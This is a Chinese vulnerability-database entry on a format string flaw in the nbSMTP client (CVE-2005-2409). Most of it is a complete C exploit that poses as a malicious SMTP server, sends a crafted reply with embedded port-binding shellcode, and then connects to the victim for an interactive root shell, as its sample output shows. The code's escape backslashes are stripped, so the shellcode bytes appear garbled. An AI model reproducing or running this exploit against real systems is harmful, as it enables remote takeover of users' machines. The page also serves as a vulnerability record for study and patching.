nbSMTP客户端 格式串处理漏洞
漏洞ID | 1108973 | 漏洞类型 | 格式化字符串 |
发布时间 | 2005-08-05 | 更新时间 | 2005-10-20 |
CVE编号 | CVE-2005-2409 |
CNNVD-ID | CNNVD-200508-004 |
漏洞平台 | Linux | CVSS评分 | 7.5 |
|漏洞来源
|漏洞详情
nbSMTP是可以在chroot牢笼、嵌入式系统、笔记本和工作站上运行的SMTP客户端。nbSMTP在处理服务器回应的过程中存在格式串处理漏洞,可能导致在客户端的机器上执行任意指令。攻击者可以设置恶意的SMTP服务器,然后利用这个漏洞以运行nbSMTP用户的权限执行任意代码。
|漏洞EXP
/* nbSMTP_fsexp.c
*
* nbSMTP v0.99 remote format string exploit
* by CoKi <[email protected]>
*
* root@nosystem:/home/coki/audi# ./nbSMTP_fsexp
*
* nbSMTP v0.99 remote format string exploit
* by CoKi <[email protected]>
*
* Use: ./nbSMTP_fsexp [options]
*
* options:
* -t <arg> type of target system
* -r <arg> return address
* -s <arg> shellcode address
* -o <arg> offset
* -l targets list
*
* root@nosystem:/home/coki/audit# ./nbSMTP_fsexp -t2
*
* nbSMTP v0.99 remote format string exploit
* by CoKi <[email protected]>
*
* [*] system : Slackware Linux 10.0
* [*] return address : 0x0804d8cc
* [*] shellcode address : 0x08053613
* [*] building evil buffer : done
* [*] running fake smtp server : done
*
* [*] waiting... : 10.0.0.1:2046 connected
* [*] sending evil command... : done
*
* [*] checking for shell... : done
*
* [!] you have a shell :)
*
* Linux servidor 2.4.26 #29 Mon Jun 14 19:22:30 PDT 2004 i586 unknown unknown GNU/Linux
* uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),102(bbs)
*
* Tested in Slackware Linux 9.0 / 10.0 / 10.1
*
* by CoKi <[email protected]>
* No System Group - http://www.nosystem.com.ar
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <getopt.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/fcntl.h>
#include <netinet/in.h>
#include <sys/socket.h>
#define SMTPD 25
#define BUFFERSIZE 1024
#define ERROR -1
#define TIMEOUT 3
#define SHELL 5074
int connect_timeout(int sfd, struct sockaddr *serv_addr,
socklen_t addrlen, int timeout);
int check(unsigned long addr);
void use(char *program);
void printlist(void);
void shell(char *host, int port);
void exploit(int retaddr, int shaddr);
/*
* Shellcode - portbind 5074 (84 bytes)
* by Giuseppe Gottardi 'oveRet' <[email protected]>
*/
char shellcode[] =
"x6ax66x58x6ax01x5bx99x52x53x6ax02x89"
"xe1xcdx80x52x43x68xffx02x13xd2x89xe1"
"x6ax10x51x50x89xe1x89xc6xb0x66xcdx80"
"x43x43xb0x66xcdx80x52x56x89xe1x43xb0"
"x66xcdx80x89xd9x89xc3xb0x3fx49xcdx80"
"x41xe2xf8x52x68x6ex2fx73x68x68x2fx2f"
"x62x69x89xe3x52x53x89xe1xb0x0bxcdx80";
struct {
int num;
char *os;
int retaddr;
int shaddr;
}targets[] = {
1, "Slackware Linux 9.0", 0x0804d4d4, 0x080531c3, // .dtors
2, "Slackware Linux 10.0", 0x0804d8cc, 0x08053613, // .dtors
3, "Slackware Linux 10.1", 0x0804d898, 0x08053e4e // .dtors
};
int main(int argc, char *argv[])
{
char opt, *system=NULL;
int shaddr=0, retaddr=0, targetnum=0, offset=0, i;
printf("n nbSMTP v0.99 remote format string exploitn");
printf(" by CoKi <[email protected]>nn");
while((opt = getopt(argc,argv,"r:s:t:lo:")) != EOF) {
switch (opt) {
case 'r':
retaddr = strtoul(optarg,NULL,0);
system = "unknown";
break;
case 's':
shaddr = strtoul(optarg,NULL,0);
break;
case 't':
targetnum = atoi(optarg)-1;
if(targets[targetnum].num) {
system = targets[targetnum].os;
retaddr = targets[targetnum].retaddr;
shaddr = targets[targetnum].shaddr;
}
else use(argv[0]);
break;
case 'l':
printlist();
break;
case 'o':
offset = atoi(optarg);
shaddr += offset;
break;
default:
use(argv[0]);
break;
}
}
if(retaddr == 0) use(argv[0]);
if(shaddr == 0) use(argv[0]);
if(system == NULL) {
system = "unknown";
}
printf(" [*] systemttt: %sn", system);
printf(" [*] return addresstt: %010pn", retaddr);
printf(" [*] shellcode addresstt: %010p", shaddr);
fflush(stdout);
if(offset) printf(" (offset %d)n", offset);
else printf("n");
exploit(retaddr, shaddr);
}
void exploit(int retaddr, int shaddr) {
char smtp[BUFFERSIZE], temp[BUFFERSIZE], recvbuf[BUFFERSIZE], host[255];
int sock, newsock, i, reuseaddr=1;
unsigned int bal1, bal2;
int cn1, cn2;
struct sockaddr_in remoteaddr;
struct sockaddr_in localaddr;
int addrlen = sizeof(struct sockaddr_in);
struct hostent *he;
printf(" [*] building evil buffert:");
fflush(stdout);
/* adding pads */
sprintf(smtp, "553 xx");
/* adding return address */
bzero(temp, sizeof(temp));
sprintf(temp, "%s", &retaddr);
strncat(smtp, temp, 4);
retaddr += 2;
sprintf(temp, "%s", &retaddr);
strncat(smtp, temp, 4);
/* adding nops */
strcat(smtp, "x90x90x90x90");
/* adding shellcode */
strcat(smtp, shellcode);
bal1 = (shaddr & 0xffff0000) >> 16;
bal2 = (shaddr & 0x0000ffff);
cn1 = bal2 - 14 - 2 - 8 - 4 - 84;
cn1 = check(cn1);
cn2 = bal1 - bal2;
cn2 = check(cn2);
/* adding evil string */
sprintf(temp, "%%%du%%7$n%%%du%%8$n", cn1, cn2);
strcat(smtp, temp);
strcat(smtp, "n");
printf(" donen");
printf(" [*] running fake smtp servert:");
fflush(stdout);
localaddr.sin_family = AF_INET;
localaddr.sin_port = htons(SMTPD);
localaddr.sin_addr.s_addr = INADDR_ANY;
bzero(&(localaddr.sin_zero), 8);
if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
perror(" socket()");
printf("n");
exit(1);
}
if (setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, &reuseaddr,
(socklen_t)sizeof(reuseaddr)) < 0) {
perror(" setsockopt()");
printf("n");
exit(1);
}
if (bind(sock, (struct sockaddr *)&localaddr, sizeof(localaddr)) < 0) {
perror(" bind()");
printf("n");
exit(1);
}
if (listen(sock, 1) < 0) {
perror(" listen()");
printf("n");
exit(1);
}
printf(" donen");
printf("n [*] waiting...");
fflush(stdout);
if ((newsock = accept(sock, (struct sockaddr *)&remoteaddr, &addrlen)) < 0) {
perror(" accept()");
printf("n");
exit(1);
}
if (getpeername(newsock, (struct sockaddr *)&remoteaddr, &addrlen) < 0) {
perror(" getpeername()");
printf("n");
exit(1);
}
printf("ttt: %s:%u connectedn", inet_ntoa(remoteaddr.sin_addr), ntohs(remoteaddr.sin_port));
fflush(stdout);
printf(" [*] sending evil command...t:");
fflush(stdout);
bzero(temp, sizeof(temp));
sprintf(temp, "220n");
if (write(newsock, temp, strlen(temp)) <= 0) {
perror(" write()");
printf("n");
exit(1);
}
if (read(newsock, recvbuf, sizeof(recvbuf)) <= 0) {
perror(" read()");
printf("n");
exit(1);
}
bzero(temp, sizeof(temp));
sprintf(temp, "250n");
if (write(newsock, temp, strlen(temp)) <= 0) {
perror(" write()");
printf("n");
exit(1);
}
if (read(newsock, recvbuf, sizeof(recvbuf)) <= 0) {
perror(" read()");
printf("n");
exit(1);
}
if (write(newsock, smtp, strlen(smtp)) <= 0) {
perror(" write()");
printf("n");
exit(1);
}
close(sock);
close(newsock);
printf(" donenn");
fflush(stdout);
printf(" [*] checking for shell...t:");
fflush(stdout);
sprintf(host, "%s", inet_ntoa(remoteaddr.sin_addr));
sleep(1);
shell(host, SHELL);
}
void shell(char *host, int port) {
int sockfd, n;
char buff[BUFFERSIZE], *command = "uname -a; id;n";
fd_set readfs;
struct hostent *he;
struct sockaddr_in dest_dir;
if((he=gethostbyname(host)) == NULL) {
herror(" gethostbyname()");
printf("n");
exit(1);
}
if((sockfd=socket(AF_INET, SOCK_STREAM, 0)) == ERROR) {
perror(" socket()");
printf("n");
exit(1);
}
dest_dir.sin_family = AF_INET;
dest_dir.sin_port = htons(port);
dest_dir.sin_addr = *((struct in_addr *)he->h_addr);
bzero(&(dest_dir.sin_zero), 8);
if(connect_timeout(sockfd, (struct sockaddr *)&dest_dir,
sizeof(struct sockaddr), TIMEOUT) == ERROR) {
printf(" failed!nn");
exit(1);
}
printf(" done");
fflush(stdout);
/* owned ;) */
printf("nn [!] you have a shell :)nn");
fflush(stdout);
send(sockfd, command, strlen(command), 0);
while(1) {
FD_ZERO(&readfs);
FD_SET(0, &readfs);
FD_SET(sockfd, &readfs);
if(select(sockfd+1, &readfs, NULL, NULL, NULL) < 1) exit(0);
if(FD_ISSET(0,&readfs)) {
if((n = read(0,buff,sizeof(buff))) < 1)
exit(0);
if(send(sockfd, buff, n, 0) != n) exit(0);
}
if(FD_ISSET(sockfd,&readfs)) {
if((n = recv(sockfd, buff, sizeof(buff), 0)) < 1) exit(0);
write(1, buff, n);
}
}
}
int connect_timeout(int sfd, struct sockaddr *serv_addr,
socklen_t addrlen, int timeout) {
int res, slen, flags;
struct timeval tv;
struct sockaddr_in addr;
fd_set rdf, wrf;
fcntl(sfd, F_SETFL, O_NONBLOCK);
res = connect(sfd, serv_addr, addrlen);
if (res >= 0) return res;
FD_ZERO(&rdf);
FD_ZERO(&wrf);
FD_SET(sfd, &rdf);
FD_SET(sfd, &wrf);
bzero(&tv, sizeof(tv));
tv.tv_sec = timeout;
if (select(sfd + 1, &rdf, &wrf, 0, &tv) <= 0)
return -1;
if (FD_ISSET(sfd, &wrf) || FD_ISSET(sfd, &rdf)) {
slen = sizeof(addr);
if (getpeername(sfd, (struct sockaddr*)&addr, &slen) == -1)
return -1;
flags = fcntl(sfd, F_GETFL, NULL);
fcntl(sfd, F_SETFL, flags & ~O_NONBLOCK);
return 0;
}
return -1;
}
int check(unsigned long addr) {
char tmp[128];
snprintf(tmp, sizeof(tmp), "%d", addr);
if(atoi(tmp) < 10)
addr = addr + 65536;
return addr;
}
void use(char *program) {
printf(" Use: %s [options]n", program);
printf("n options:n");
printf(" -t <arg> type of target systemn");
printf(" -r <arg> return addressn");
printf(" -s <arg> shellcode addressn");
printf(" -o <arg> offsetn");
printf(" -l targets listnn");
exit(1);
}
void printlist(void) {
int i=0;
printf(" targetsn");
printf(" -------nn");
while(targets[i].num) {
printf(" [%d] %sn", targets[i].num, targets[i].os);
i++;
}
printf("n");
exit(0);
}
// milw0rm.com [2005-08-05]
|参考资料
来源:MISC
链接:http://people.freebsd.org/~niels/issues/nbsmtp-20050726.txt
来源:www.vuxml.org
链接:http://www.vuxml.org/freebsd/debbb39c-fdb3-11d9-a30d-00b0d09acbfc.html
来源:XF
名称:nbsmtp-format-string(21674)
链接:http://xforce.iss.net/xforce/xfdb/21674
来源:BID
名称:14441
链接:http://www.securityfocus.com/bid/14441
来源:SECUNIA
名称:16324
链接:http://secunia.com/advisories/16324
来源:SECUNIA
名称:16279
链接:http://secunia.com/advisories/16279
相关推荐: Apple Mac OS X Finder DS_Store不安全文件创建漏洞
Apple Mac OS X Finder DS_Store不安全文件创建漏洞 漏洞ID 1108439 漏洞类型 设计错误 发布时间 2005-02-07 更新时间 2005-10-20 CVE编号 CVE-2005-0342 CNNVD-ID CNNVD-…
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
喜欢就支持一下吧
恐龙抗狼扛1年前0
kankan啊啊啊啊3年前0
66666666666666